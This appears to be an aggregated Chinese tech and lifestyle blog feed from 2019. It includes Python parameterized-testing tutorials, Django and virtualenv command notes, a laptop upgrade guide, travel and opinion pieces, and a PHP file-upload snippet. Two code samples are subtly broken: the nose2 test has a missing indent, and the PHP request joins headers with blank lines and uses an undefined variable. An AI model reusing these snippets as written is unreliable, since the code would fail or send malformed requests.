2019 年马上就要过去了,简单总结一下在年初立下的几个 flag:健身和看书。

健身

其实对于我来说,对健身没有什么兴趣,只是身不由己,不运动运动,确实能感觉出来身体状态差, 可能就是广告里说的亚健康吧,比如:后腰可能偶尔会肌肉酸麻。

保持健身确实对整个人的身体状况,包括精神状态都有很大的改进,感觉走路都挺得更直了。

年初装了 keep app,发现功能比咕咚更多一些,所以就一直在用,也给 keep app 反馈了一些 bug,功能建议, 当然,很多都没有被采纳,哈哈。

我在 keep 上主要是跑步和做一些在家阳台上铺上垫子就能做的运动,例如:俯卧撑,仰卧起坐之类的,再平民不过了。

先说说跑步吧,从 5 月份开始(开始的猛然醒悟,原来往年的跑步时间只有六个月),今年跑到了 11 月份, 七个月一共跑了 261 公里,平均每个月不到 40 公里。通常是每周跑 2-3 次,下班后在家附近跑步,跑完回去早的时候十点半,晚的时候就十一点半; 偶尔十一点回去的时候,路上还能看到上了年纪的工人在修路,勤劳确实是中国人的美德,当你发现平常跑步的塑胶跑道被挖开埋了管子之后, 某一天早上去上班,发现居然都铺好了,还是非常惊讶的。

看看《美国工厂》,和美国工人对比一下,中国人的建设速度也就能理解了。

通常跑完步之后在 keep 上做做放松运动,然后做 20 个俯卧撑,北京的 11 月跑步还是很容易着凉的,特别是头发全湿了的话,哈哈, 12 月份就没有跑了,来年希望从 3 月份开始跑步,这样一年就能有 9 个月在跑步了,那么 2020 年的跑步目标就定 350 公里好了。

看书

之前在饭桌上听到说某某某一年要看一百本书,当时还非常诧异,时间真多,平均不到 4 天一本。其实,时间大家都是有的,如果在通勤地铁上, 不刷手机,而是看书,睡觉前少刷手机,而是看书。还是有可能的。当然,2019 年我并没有看完 100 本书。

到目前为止,我看完了 55 本书,离当初订的目标 60 本还差一些,不过按照 OKR 的得分,其实也已经超过 9 分了,说明目标还不够有野心。

我通常在手机上用 kindle app 看书,然后在公司里看纸质书,每天早上 9 点之前看书半小时,养成习惯还好,因为以前总是习惯性的到了公司就开始办公。

下面是我觉得比较好的一些书:

历史类

  • 二混子的《半小时漫画》系列,中国史和世界史,都非常有意思
  • 基辛格博世的《白宫岁月》系列回忆录,可以看出来政治真的就是政治,没有永恒的朋友,只有永恒的利益,再也不要反感越南对中国恩将仇报了
  • 《文明的故事》系列,目前只看完了 2 册,在 kindle 打折的时候买了 1-5 册,一共有 11 册,非常敬佩这类作者,基本上一生都在为人类的知识做贡献

CEO 推荐类

难得 CEO 给大家推荐了几本书,随即去买来看了看。

  • 《迪士尼战争》主要讲迪士尼公司的发展历程,这家传奇的公司是怎样一步一步走到今天
  • 《HBO 的内容战略》通过 HBO 公司的发展,观察美国电视行业的发展

政治经济类

  • 《朱镕基讲话实录》系列,怀着对朱镕基总理的崇敬之情,买了全套四册书,看完之后确实深刻感到朱总理的魄力,国企改革两千多万人下岗再就业,政府部门改革精简一半人,这是要多大的力量才能执行下去
  • 曼昆的《经济学原理》,确实是外行人的入门宝典
  • 《1984》,这本书主要讲老大哥在看着你,令人毛骨悚然

另外还看了一些刘慈欣大大和其它作家的科幻小说,感受了下中国科幻,还看了好些鸡汤书(《月亮与六便士》,《一个人的朝圣》等),教做人的,教赚钱的。

希望 2020 看书 40 本,之所以比 2019 少,可能是明年不打算看一些小说。

纪录片

今年看了 12 部纪录片,一共 46 集,然后终于发现了一个看片神器:倍速播放。虽然没有量子波动看书那么快,稍微还是能节省一些时间,通常用 1.25x,1.5x 倍速播放。

看了 《大国崛起》纪录片,开始有一些误会,没看之前一直以为是一步自夸的纪录片,所以一直刻意不去看,然后才发现原来是讲历史上的大国,还是非常不错的。 《地球脉动》纪录片真不错,地球真是太神奇了;看了《习近平治国方略》,但是感觉制作比较水;看了《罗马帝国》结合《文明的故事》一起看,东西方的文化差异还是非常巨大的。 看了《太空竞赛》,感叹最近几十年人类都在啃老,没有什么新的进展,能数得上的成果基本上都是冷战期间,或者冷战期间立项之后的遗产。

其它的纪录片就不一一列举了,希望 2020 年能看 100 集纪录片。

December 28, 2019 04:00 PM

December 22, 2019

pythoncat

Python 进阶之源码分析:如何将一个类方法变为多个方法?

前一篇文章《Python 中如何实现参数化测试?》中,我提到了在 Python 中实现参数化测试的几个库,并留下一个问题:

它们是如何做到把一个方法变成多个方法,并且将每个方法与相应的参数绑定起来的呢?

我们再提炼一下,原问题等于是:在一个类中,如何使用装饰器把一个类方法变成多个类方法(或者产生类似的效果)?
# 带有一个方法的测试类
class TestClass:
    def test_func(self):
        pass

# 使用装饰器,生成多个类方法
class TestClass:
    def test_func1(self):
        pass
    def test_func2(self):
        pass
    def test_func3(self):
        pass
Python 中装饰器的本质就是移花接木,用一个新的方法来替代被装饰的方法。在实现参数化的过程中,我们介绍过的几个库到底用了什么手段/秘密武器呢?

1、ddt 如何实现参数化?

先回顾一下上篇文章中 ddt 库的写法:
import unittest
from ddt import ddt,data,unpack
@ddt
class MyTest(unittest.TestCase):
    @data((3, 1), (-1, 0), (1.2, 1.0))
    @unpack
    def test(self, first, second):
        pass
ddt 可提供 4 个装饰器:1 个加在类上的 @ddt,还有 3 个加在类方法上的 @data、@unpack 和 @file_data(前文未提及)。
先看看加在类方法上的三个装饰器的作用:
# ddt 版本(win):1.2.1
def data(*values):
    global index_len
    index_len = len(str(len(values)))
    return idata(values)

def idata(iterable):
    def wrapper(func):
        setattr(func, DATA_ATTR, iterable)
        return func
    return wrapper

def unpack(func):
    setattr(func, UNPACK_ATTR, True)
    return func

def file_data(value):
    def wrapper(func):
        setattr(func, FILE_ATTR, value)
        return func
    return wrapper
它们的共同作用是在类方法上 setattr() 添加属性。至于这些属性在什么时候使用?下面看看加在类上的 @ddt 装饰器源码:
第一层 for 循环遍历了所有的类方法,然后是 if/elif 两条分支,分别对应 DATA_ATTR/FILE_ATTR,即对应参数的两种来源:数据(@data)和文件(@file_data)。
elif 分支有解析文件的逻辑,之后跟处理数据相似,所以我们把它略过,主要看前面的 if 分支。这部分的逻辑很清晰,主要完成的任务如下:
  • 遍历类方法的参数键值对
  • 根据原方法及参数对,创建新的方法名
  • 获取原方法的文档字符串
  • 对元组和列表类型的参数作解包
  • 在测试类上添加新的测试方法,并绑定参数与文档字符串
分析源码,可以看出,@data、@unpack 和 @file_data 这三个装饰器主要是设置属性并传参,而 @ddt 装饰器才是核心的处理逻辑。
这种将装饰器分散(分别加在类与类方法上),再组合使用的方案,很不优雅。为什么就不能统一起来使用呢?后面我们会分析它的难言之隐,先按下不表,看看其它的实现方案是怎样的?

2、parameterized 如何实现参数化?

先回顾一下上篇文章中 parameterized 库的写法:
import unittest
from parameterized import parameterized
class MyTest(unittest.TestCase):
    @parameterized.expand([(3,1), (-1,0), (1.5,1.0)])
    def test_values(self, first, second):
        self.assertTrue(first > second)
它提供了一个装饰器类 @parameterized,源码如下(版本 0.7.1),主要做了一些初始的校验和参数解析,并非我们关注的重点,略过。
我们主要关注这个装饰器类的 expand() 方法,它的文档注释中写到:

A “brute force” method of parameterizing test cases. Creates new test cases and injects them into the namespace that the wrapped function is being defined in. Useful for parameterizing tests in subclasses of ‘UnitTest’, where Nose test generators don’t work.

关键的两个动作是:“creates new test cases(创建新的测试单元)”和“inject them into the namespace…(注入到原方法的命名空间)”。
关于第一点,它跟 ddt 是相似的,只是一些命名风格上的差异,以及参数的解析及绑定不同,不值得太关注。
最不同的则是,怎么令新的测试方法生效?
parameterized 使用的是一种“注入”的方式:
inspect 是个功能强大的标准库,在此用于获取程序调用栈的信息。前三句代码的目的是取出 f_locals,它的含义是“local namespace seen by this frame”,此处 f_locals 指的就是类的局部命名空间。
说到局部命名空间,你可能会想到 locals(),但是,我们之前有文章提到过“locals() 与 globals() 的读写问题”,locals() 是可读不可写的,所以这段代码才用了 f_locals。

3、pytest 如何实现参数化?

按惯例先看看上篇文章中的写法:
import pytest
@pytest.mark.parametrize("first,second", [(3,1), (-1,0), (1.5,1.0)])
def test_values(first, second):
    assert(first > second)
首先看到“mark”,pytest 里内置了一些标签,例如 parametrize、timeout、skipif、xfail、tryfirst、trylast 等,还支持用户自定义的标签,可以设置执行条件、分组筛选执行,以及修改原测试行为等等。
用法也是非常简单的,然而,其源码可复杂多了。我们这里只关注 parametrize,先看看核心的一段代码:
根据传入的参数对,它复制了原测试方法的调用信息,存入待调用的列表里。跟前面分析的两个库不同,它并没有在此创建新的测试方法,而是复用了已有的方法。在 parametrize() 所属的 Metafunc 类往上查找,可以追踪到 _calls 列表的使用位置:
最终是在 Function 类中执行:
好玩的是,在这里我们可以看到几行神注释……
阅读(粗浅涉猎) pytest 的源码,真的是自讨苦吃……不过,依稀大致可以看出,它在实现参数化时,使用的是生成器的方案,遍历一个参数则调用一次测试方法,而前面的 ddt 和 parameterized 则是一次性把所有参数解析完,生成 n 个新的测试方法,再交给测试框架去调度。
对比一下,前两个库的思路很清晰,而且由于其设计单纯是为了实现参数化,不像 pytest 有什么标记和过多的抽象设计,所以更易读易懂。前两个库发挥了 Python 的动态特性,设置类属性或者注入局部命名空间,而 pytest 倒像是从什么静态语言中借鉴的思路,略显笨拙。

4、最后小结

回到标题中的问题“如何将一个方法变为多个方法?”除了在参数化测试中,不知还有哪些场景会有此诉求?欢迎留言讨论。
本文分析了三个测试库的装饰器实现思路,通过阅读源码,我们可以发现它们各有千秋,这个发现本身还挺有意思。在使用装饰器时,表面看它们差异不大,但是真功夫的细节都隐藏在底下。
源码分析的意义在于探究其所以然,在这次探究之旅中,读者们可有什么收获啊?一起来聊聊吧!(PS:在“Python猫”公众号后台发送“学习群”,获取加群暗号。)

December 22, 2019 12:00 AM

December 17, 2019

anji66

使用命令行创建Django项目

Django诞生于2003年秋天,2005年发布正式版本,由Simon和Andrian开发。Django这套框架以实现快速开发目的,因此Django生来就是为了节省开发者时间的。Django发展至今,被许许多多国内外的开发者使用,已经成为web开发者的首选框架。



创建项目:

django-admin startproject [项目名称]


创建应用(app):

python manage.py startapp [app名称]


运行Django项目:

1、默认方式

python manage.py runserver

2、自定义端口方式

python manage.py runserver [端口号]

3、部署方式:

python manage.py runserver 0.0.0.0:8000


查看manage.py帮助

python manage.py help


by 西枫里 at December 17, 2019 02:53 PM

December 16, 2019

anji66

Python安装virtualenv和virtualenvwrapper虚拟环境

python目前比较知名的虚拟环境有virtualenv、virtualenvwrapper、venv等。virtualenvwrapper是virtualenv基础上做的优化。本文作为学习笔记,记录下virtualenv、virtualenvwrapper安装过程和使用方法。



安装virtualenv:

virtualenv是用来创建虚拟环境的软件,使用pip命令安装,如果电脑上同时安装了python2和python3,请在pip命令后面加个3用于区分(pip3)。

pip install virtualenv


创建虚拟环境:

virtualenv [虚拟环境名称]


进入虚拟环境:

1、windows进入虚拟环境:进入到虚拟环境的Scripts文件夹中,然后执行activate。

2、*nix进入虚拟环境:source /path/to/virtualenv/bin/activate。


退出虚拟环境:

deactivate


安装virtualenvwrapper:

virtualenvwrapper软件包可以让虚拟环境管理更加简单。

1、windows:

pip install virtualenvwrapper-win

2、*nix:

pip install virtualenvwrapper


创建虚拟环境:

mkvirtualenv [虚拟环境名称]


进入虚拟环境:

workon [虚拟环境名称]


退出虚拟环境:

deactivate


删除虚拟环境:

rmvirtualenv [虚拟环境名称]


列出所有虚拟环境:

lsvirtualenv


修改创建虚拟环境的默认路径:

在环境变量中添加系统变量。变量名为WORKON_HOME,变量值为你要使用的路径

未标题-1.jpg


by 西枫里 at December 16, 2019 02:18 PM

December 13, 2019

anji66

联想ideapad 110升级教程

那天在车间调试数据大屏,碰到生产部经理,正好聊了两句,转头就问我他一台电脑慢的要死,能不能升级,还没等我说话,生产助理就帮我把这事给答应下来了。回头让他把电脑拿给我看下,也没敢承诺一定能升级,就说拆了看看先。等拿到手的时候发现是一个联想的本子,分量很轻,感觉就像是个轻薄本似的,和我自己之前升级的那个华硕N53S兼职就是相扑选手和世界小姐的体格差距。


看下笔记本的型号

1.jpg

2.jpg


拿到手先拆机,这个后盖拆起来简单,一顿螺丝拧完。然后把伪光驱给拉出来,然后光驱的上沿有三颗螺丝,拆掉,用撬棒就能把整个后盖给拆了。

这里是伪光驱拉出后的三颗螺丝。

3.jpg


拆完就能看到整个主板面了,呀哈,这个联想大坑货,不用真光驱,弄个壳在这里,接口都有,还不错,起码能装个固态硬盘了。红框处就是插光驱的SATA的接口和供电口。

4.jpg


检查下内存,一般笔记本的内存规格会印在塑料支架上的,看这个很明显DDR3 1.5V的内存。查下内存看下反面的规格,不对呀,这泥煤的PC3L是个低电压版啊,不是1.5V的,是1.35V的,这联想到底是什么鬼?

5.jpg

6.jpg


拆完心里就有数了,后盖螺丝如数装回,于是答复同事,电脑可以升级,确定要不要升,给个明确的答复我就去买配件了。

选择固态硬盘

原电脑有一个500G的固态硬盘,同事不知道我是加装以为是换掉原硬盘,还问我这个固态要多大的,我说240吧足够了,100G装系统,140G装软件。选择配件的时期就更容易了一些,万能淘宝啥买不到。基于上次我自己升级的那个TOSHIBA的TR200。还是原来的配方,还是原来的味道。某宝链接在这里,某东链接在这里。有需要的可以看看。并且巧的是原电脑自带的机械硬盘也是东芝的。

7.jpg


购买一个硬盘转接口

电脑原光驱位置的SATA供电接口是小口,不是标准口,即便是标准口位置也是靠近机械硬盘一次的,所以淘宝就找了一下转接口,这个玩意很简单,万能华强北什么造不出来。就不多说了,直接给个链接算了,点这里点这里

9.jpg


选择内存

原电脑是一根1.35V的DDR3的4G三星内存。现在带个系统带点负载4G真的够呛,8G够用,所以升级遵从够用和寿命的原则,升级一个8G内存条就好。然后这个电脑不像我的N53S,它没有两根内存槽,不能增加4G,只能把原4G的内存替换掉。所以下单找了一个1.35V的DDR3的8G条子,我担心联想的工艺,怕兼容不好,所以仍旧选择了一款三星的内存条。就图中这款。某宝购买链接可以点这里,某东购买链接可以点这里

8.jpg


安装过程

配件到手,就是安装了,再次拆开后盖。装内存我就不说了,so easy。拍几个图看下固态硬盘的安装吧,首先是将转接头在电脑上比划一下看看,然后将它固定到原电脑的伪光驱支架上,磨具开孔都是开好的,找到两个定位孔,卡上就行,原本想打点热熔胶固定一下的,然后我把固态硬盘装上,底部四颗螺丝装上后纹丝不动,就懒得去打热熔胶了。直接看下面这几张图吧。

10.jpg

11.jpg

13.jpg


最后开机引导启动装系统,分区的时候我把C盘多分了一点,D盘少了一点,因为对于我同事他们来说装软件都是直接下一步的,大概率是装到C盘了。好了,升级教程结束。然后我发现这个屏也是1366*768的分辨率,似乎也能换高清屏。同事没要求就算了。

14.jpg


by 西枫里 at December 13, 2019 03:22 PM

December 10, 2019

anji66

天马山·护珠塔·三高士

上海有山,并且不止一座,佘山因天文台而享誉神州,佘山所在的松江,是为地道的上海。因地质结构的关系,松江境内群峰蜿蜒,有九峰十二山之称。有大家熟知的佘山(西佘山,东佘山),另有小昆山,凤凰山,辰山,薛山,机山,横山,厍公山,钟贾山,北竿山和本文主角天马山。当然群山都不高,海拔均不超过100米,其中天马山主峰最高,海拔99.8米,为上海陆地最高峰。(一说数据已经变为西佘山最高,估计是佘山名头更大吧)。


每次从办公地回公司,经佘天昆公路走在天马山的脚下,也不曾憩息片刻登上山峦去近观那无数次出现在眼底的斜塔。初冬的周末,没有霾尘,气温尚可,一家人外出走走,就直奔天马山了。

沿佘天昆公路往西,很快就到了天马山脚下,山脚有集镇天马镇,镇以山名(因行政区划调整,现天马镇被并入佘山镇了)。天马山西大门口有片空地作为停车场。路边,十多级台阶上来就是山门。原以为是免费的,毕竟东西佘山也不收费嘛,没想到这里竟然收门票10元一人。天马山上的树林是典型的江南丘陵上的混交林形式,品种繁杂。以栎,樟,青冈,银杏及杉木,松木等树种为主,灌木又多于枸骨、杜鹃、南烛。深秋初冬的时节,不见于北方那漫山红叶的的璀璨,而是一片翠绿当中多了些斑斓。脚下的石阶,不是那一淌平的石板,而是块状石片立着嵌入地下,走在上面还似有些硌脚。

d707dd58.jpg


护珠塔——中国的比萨斜塔

不稍百步,便见得一牌门,门内三两人之外,一座砖灰色的古塔引入眼帘,但眼看上去有些古怪,与牌门作为参照,竟然有些歪了。这即那护珠塔了。护珠塔建于北宋年间,也称护珠宝光塔。据记载宋高宗赐五色佛舍利藏于塔顶。是夜,塔顶放光一如佛光,得名护珠宝光塔。原塔为砖木结构的七宝玲珑塔,并有一座香火旺盛的寺院。清乾隆年间失火,庙宇不在,塔身木结构也被焚毁,只剩下砖石结构的内塔。

走近宝塔,发现塔基一侧缺了很大一块,相传后人将塔砖拆了回去砌墙,导致塔脚被毁了一角。另说有人在塔基挖到钱币和宝物导致塔脚被毁。最终就是如此这般观景。塔身倾斜由来已久,改革开放后80年代勘察发现塔身倾斜已较为严重,在87年完成了一次对古塔的加固。15年又对外立面做了一次修缮。目前塔身倾角7.10度,比之罗马的比萨斜塔更为倾斜,有中国比萨的美誉。

1.jpg

从牌门方向转到塔后,有一株700年树龄的银杏,相传为当年建塔的招抚使周文达亲手所植,树体也是饱经风霜,有中空,雷劈等痕迹。目前也进行了人为加固。宝塔和银杏之间有一眼泉眼,叫濯月泉,如今只见泉眼不见泉了。

IMG_20191207_141048.jpg


三高士墓

穿过后门,顺着山道继续拾级而上,越过山冈,顺势而下,迎面,是天马山的东麓,山上是另一处景点三高士墓。三高士,指元朝末年杨维桢、陆居仁、钱惟善三位著名大家。其中杨维桢号铁笛道人,精通诗词音律,元末诗词的领袖人物。陆居仁号瑁湖居士,擅诗词,书法见长。钱惟善号心白道人,他乃吴越王钱镠的后人,工于诗文,擅医道。三人元末从仕,皆因不随官场腐败,隐居山中。明朱元璋三请出山均不为所动,死后埋葬于此,后世华敬仰他们淡泊名利,由华亭县知县为其立碑铭志。后世诗歌有吟:寂寂干山麓,萧萧高士坟。清风吹绿竹,峻节媲三君。

IMG_20191207_144611.jpg


下得东麓,绕山而行,一侧是壁立悬崖,翠竹万竿,一侧苍山顽石,林木交错。山间的青石道有几许起伏,有一二人从身边奔跑而过。天马山也是众多越野跑爱好者的营地。待我们下得山来,已是霞光晚照。


by 西枫里 at December 10, 2019 04:27 PM

December 09, 2019

pythoncat

Python 中如何实现参数化测试?

之前,我曾转过一个单元测试框架系列的文章,里面介绍了 unittest、nose/nose2 与 pytest 这三个最受人欢迎的 Python 测试框架。
本文想针对测试中一种很常见的测试场景,即参数化测试,继续聊聊关于测试的话题,并尝试将这几个测试框架串联起来,做一个横向的比对,加深理解。

1、什么是参数化测试?

对于普通测试来说,一个测试方法只需要运行一遍,而参数化测试对于一个测试方法,可能需要传入一系列参数,然后进行多次测试。
比如,我们要测试某个系统的登录功能,就可能要分别传入不同的用户名与密码,进行测试:使用包含非法字符的用户名、使用未注册的用户名、使用超长的用户名、使用错误的密码、使用合理的数据等等。
参数化测试是一种“数据驱动测试”(Data-Driven Test),在同一个方法上测试不同的参数,以覆盖所有可能的预期分支的结果。它的测试数据可以与测试行为分离,被放入文件、数据库或者外部介质中,再由测试程序读取。

2、参数化测试的实现思路?

通常而言,一个测试方法就是一个最小的测试单元,其功能应该尽量地原子化和单一化。
先来看看两种实现参数化测试的思路:一种是写一个测试方法,在其内部对所有测试参数进行遍历;另一种是在测试方法之外写遍历参数的逻辑,然后依次调用该测试方法。
这两种思路都能达到测试目的,在简单业务中,没有毛病。然而,实际上它们都只有一个测试单元,在统计测试用例数情况,或者生成测试报告的时候,并不乐观。可扩展性也是个问题。
那么,现有的测试框架是如何解决这个问题的呢?
它们都借助了装饰器,主要的思路是:利用原测试方法(例如 test()),来生成多个新的测试方法(例如 test1()、test2()……),并将参数依次赋值给它们。
由于测试框架们通常把一个测试单元统计为一个“test”,所以这种“由一生多”的思路相比前面的两种思路,在统计测试结果时,就具有很大的优势。

3、参数化测试的使用方法?

Python 标准库中的unittest 自身不支持参数化测试,为了解决这个问题,有人专门开发了两个库:一个是ddt ,一个是parameterized
ddt 正好是“Data-Driven Tests”(数据驱动测试)的缩写。典型用法:
import unittest
from ddt import ddt,data,unpack

@ddt
class MyTest(unittest.TestCase):
    @data((3, 1), (-1, 0), (1.2, 1.0))
    @unpack
    def test_values(self, first, second):
        self.assertTrue(first > second)

unittest.main(verbosity=2)
运行的结果如下:
test_values_1__3__1_ (__main__.MyTest) ... ok
test_values_2___1__0_ (__main__.MyTest) ... FAIL
test_values_3__1_2__1_0_ (__main__.MyTest) ... ok

==================================================
FAIL: test_values_2___1__0_ (__main__.MyTest)
--------------------------------------------------
Traceback (most recent call last):
  File "C:\Python36\lib\site-packages\ddt.py", line 145, in wrapper
    return func(self, *args, **kwargs)
  File "C:/Users/pythoncat/PycharmProjects/study/testparam.py", line 9, in test_values
    self.assertTrue(first > second)
AssertionError: False is not true

----------------------------------------------
Ran 3 tests in 0.001s

FAILED (failures=1)
结果显示有 3 个 tests,并详细展示了运行状态以及断言失败的信息。
需要注意的是,这 3 个 test 分别有一个名字,名字中还携带了其参数的信息,而原来的 test_values 方法则不见了,已经被一拆为三。
在上述例子中,ddt 库使用了三个装饰器(@ddt、@data、@unpack),实在是很丑陋。下面看看相对更好用的 parameterized 库:
import unittest
from parameterized import parameterized

class MyTest(unittest.TestCase):
    @parameterized.expand([(3,1), (-1,0), (1.5,1.0)])
    def test_values(self, first, second):
        self.assertTrue(first > second)

unittest.main(verbosity=2) 
测试结果如下:
test_values_0 (__main__.MyTest) ... ok
test_values_1 (__main__.MyTest) ... FAIL
test_values_2 (__main__.MyTest) ... ok

=========================================
FAIL: test_values_1 (__main__.MyTest)
-----------------------------------------
Traceback (most recent call last):
  File "C:\Python36\lib\site-packages\parameterized\parameterized.py", line 518, in standalone_func
    return func(*(a + p.args), **p.kwargs)
  File "C:/Users/pythoncat/PycharmProjects/study/testparam.py", line 7, in test_values
    self.assertTrue(first > second)
AssertionError: False is not true

----------------------------------------
Ran 3 tests in 0.000s

FAILED (failures=1)
这个库只用了一个装饰器 @parameterized.expand,写法上可就清爽多了。
同样提醒下,原来的测试方法已经消失了,取而代之的是三个新的测试方法,只是新方法的命名规则与 ddt 的例子不同罢了。
介绍完 unittest,接着看已经死翘翘了的nose 以及新生的nose2 。nose 系框架是带了插件(plugins)的 unittest,以上的用法是相通的。
另外,nose2 中还提供了自带的参数化实现:
import unittest
from nose2.tools import params

@params(1, 2, 3)
def test_nums(num):
    assert num < 4

class Test(unittest.TestCase):
    @params((1, 2), (2, 3), (4, 5))
    def test_less_than(self, a, b):
    assert a < b
最后,再来看下 pytest 框架,它这样实现参数化测试:
import pytest

@pytest.mark.parametrize("first,second", [(3,1), (-1,0), (1.5,1.0)])
def test_values(first, second):
    assert(first > second)
测试结果如下:
==================== test session starts ====================
platform win32 -- Python 3.6.1, pytest-5.3.1, py-1.8.0, pluggy-0.13.1
rootdir: C:\Users\pythoncat\PycharmProjects\study collected 3 items

testparam.py .F
testparam.py:3 (test_values[-1-0])
first = -1, second = 0

    @pytest.mark.parametrize("first,second", [(3,1), (-1,0), (1.5,1.0)])
    def test_values(first, second):
>       assert(first > second)
E       assert -1 > 0

testparam.py:6: AssertionError
.                                                         [100%]

========================= FAILURES ==========================
_________________________ test_values[-1-0] _________________________

first = -1, second = 0

    @pytest.mark.parametrize("first,second", [(3,1), (-1,0), (1.5,1.0)])
    def test_values(first, second):
>       assert(first > second)
E       assert -1 > 0

testparam.py:6: AssertionError
===================== 1 failed, 2 passed in 0.08s =====================
Process finished with exit code 0
依然要提醒大伙注意,pytest 也做到了由一变三,然而我们却看不到有新命名的方法的信息。这是否意味着它并没有产生新的测试方法呢?或者仅仅是把新方法的信息隐藏起来了?

4、最后小结

上文中介绍了参数化测试的概念、实现思路,以及在三个主流的 Python 测试框架中的使用方法。我只用了最简单的例子,为的是快速科普(言多必失)。
但是,这个话题其实还没有结束。对于我们提到的几个能实现参数化的库,抛去写法上大同小异的区别,它们在具体代码层面上,又会有什么样的差异呢?
具体来说,它们是如何做到把一个方法变成多个方法,并且将每个方法与相应的参数绑定起来的呢?在实现中,需要解决哪些棘手的问题?
在分析一些源码的时候,我发现这个话题还挺有意思,所以准备另外写一篇文章。那么,本文就到此为止了,谢谢阅读。

December 09, 2019 12:00 AM

December 06, 2019

spiritx

我为什么不将微信作为常用软件

只一次遇到别人惊讶:“你居然没用微信!” 作为一名学生,虽然我对QQ的一些方面也不大满意,但我觉得QQ已经满足我所有的需求了,我非常不想在我的手机上安装两个功能重叠的app,但碍于一些原因,我也不得不在手机上安装一个微信,但每次打开微信时各种订阅号、公众号推送让我很是心烦。屏蔽吧怕错过一些重要消息,不屏蔽吧待处理消息分分钟99+。我的家长亲戚中很多人都用微信,在得知我居然在用QQ,他们都会诧异道:“什么年代了,你居然还在用QQ!” 也许我就是那个落后于潮流前沿的人吧 :doge笑哭: :doge笑哭:

我常用的IM和IRC软件为:QQ > Telegram > yaaic/HexChat > 微信。QQ的功能十分完善,但也有不少臃肿的东西,比如会员,Q钻什么的,这点不如微信;至于Telegram,就不用多说,详见这篇文章这篇文章;相较于IM软件,IRC软件就比较简陋,但作为聊天来使用却是十分合适,没有太多无用信息刷屏,操作方式带有极客范儿,不过由于年代久远,服务器数目已经大不如前,目前我主要在freenode的服务器上。微信的话,我将在接下来提到。

理念
在微信之前的时代,网民们的网络身份通常是电子邮件地址。而微信的出现,改变了这一点:把手机号以做成了第一身份认证手段。把手机号做成了凌驾于身份证之上的认证手段。这与一些要求手机号绑定但手机号并非第一认证手段的app,是不相同的。我第一个微信号时在初中时创建的,当时的注册方式是一张未实名的移动卡,在手机掉了之后,那个微信号就随之消失了,也不知道被谁注册到了那个手机号,然后再通过手机号登上了我的微信 :捂脸: 。虽然我非常不喜欢这种通过手机号认证的方式,奈何有几个常用的App无法舍弃,只得老老实实去用手机号注册。现在用的微信号是我初二的时候通过关联QQ号注册得到的,那时候的微信有个很方便的功能:收发QQ消息。为了尝鲜,我使用了一段时间,然而有一天,点击接收的QQ消息后,它却告诉我不再支持此功能了(???黑人问号脸),把QQ用户骗到这里来,然后就不管了??
啥也干不了的PC端
使用过PC端微信的人,都会遇到一个蛋疼的问题:扫码登录。不知道微信的策划是怎么想的,难道怕用户记不住密码吗 :doge笑哭: ,之后还有“密码不如扫码安全”的逻辑,对此,我敢苟同。只能说各有各的好处,但并没有直接证据可证明扫码比密码安全,只能说这是一个很蛋疼的设计。受此荼毒,企业邮箱现在也是扫码登录,所以,我选择迁移到了Yandex。此外,微信的PC端功能很少,许多操作只能在手机上完成,就连红包功能也是最近才加入PC端的。
辣鸡的相册
微信的Android端在选取图片时,并没有调用系统相册,反而是自己造了个轮子,关键是还不如系统自带的相册好用,反而多出来一大堆预览图缓存,占用手机的存储空间
备份麻烦的聊天记录
腾讯微信官方一直不提供导出聊天记录到CSV或TXT文件的功能,用户的数据安全无法得到保障。即使其表明用户聊天数据点对点加密服务器不留底不储存,所以聊天记录只能保存在双方设备上,然而由于聊到敏感话题被封禁甚至被拘留这种新闻屡屡可见,那么问题来了,证据是从哪收集到的 :喷2: 我想说:既然立了牌坊就别去当**
不成熟的群聊
QQ群在功能上碾压微信群聊——发公告发通知,永久保存群文件,传文档,下表格,共享资源,回复功能,压缩包,管理员组织能力,碾压微信。更别说QQ还自带邮箱和网盘了。 至于QQ空间的日志相册评论转发等多媒体功能更是碾压微信朋友圈。
烂大街的公众号
开通公众号门槛极低,所以导致了一大堆辣鸡公众号天天发一些震惊、养生、鸡汤,也不管信息可信,只管发,为了引入流量,真什么都敢写...如果你加了长辈群,那么群里一定充斥着震惊养生造谣鸡汤等等,我本人特讨厌鸡汤还有那种没什么质量的短视频,长辈们居然觉得很不错。

以上所述即为我不用微信的几个理由,但世事无绝对,我只能说在现在的情况,因为谁也不能保证未来一切尽在掌握,也许有一天微信填补了它所有的缺陷,也许有一天我因为特殊原因不得不24小时开着微信...... :傲慢:

近年来移动端发展迅速,社交软件中微信可以说是首当其冲了(简陋的电脑端、必须扫码、文件大小限制等),似乎微信设计之初就没有将PC端作为其主要战场,而是将这片土地留给了它的兄弟QQ,但是它在移动端领域却是有取代QQ之势,反观手机QQ却一直没有碰微信的市场的意思,虽然推出了办公使用的Tim(一年没更新了),但没有触及到微信的核心利益,QQ、微信各有不可替代的作用和定位,作为同一家公司的软件,我想,如果要将功能都做得相同在技术上很容易实现,但这样结果必定不会好。毕竟,利益最大化才是问题关键。

by Spirit at December 06, 2019 02:10 PM

November 26, 2019

spiritx

Posting file via wp_remote_post

For several reasons I don't want to use curl, and I have known that WordPress has methods for HTTP request, so I choose wp_remote_post(), which allows you to send an HTTP post request, and return an array. Here's the code example:

<?php
$upload_url = "URL_YOUR_UPLOAD_FILE_TO";
$local_file = "PATH/TO/FILE";
$filename = basename($local_file);
$name = $local_file;  //name of Form Control
$Boundary = wp_generate_password();  //split signal, see: https://www.ietf.org/rfc/rfc1867.txt
$bits = file_get_contents($local_file);

$args = array(
    "headers" => "Content-Type: multipart/form-data; boundary=$Boundary\r\n\r\nAuthorization: Basic $client_id\r\n\r\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.97",
    "body" => "--$Boundary\r\nContent-Disposition: form-data; name=\"$name\"; filename=\"$filename\"\r\n\r\n$bits\r\n\r\n--$Boundary--"
);

$response = wp_remote_post($upload_url, $args);
if (!is_wp_error($response)) {
    $reply = $response["body"];  //the remote server's reply
    var_dump($reply);
}
?>

reference: https://www.jianshu.com/p/29e38bcc8a1d

by Spirit at November 26, 2019 08:47 AM

November 20, 2019

anji66

帝王蟹怎么做好吃?

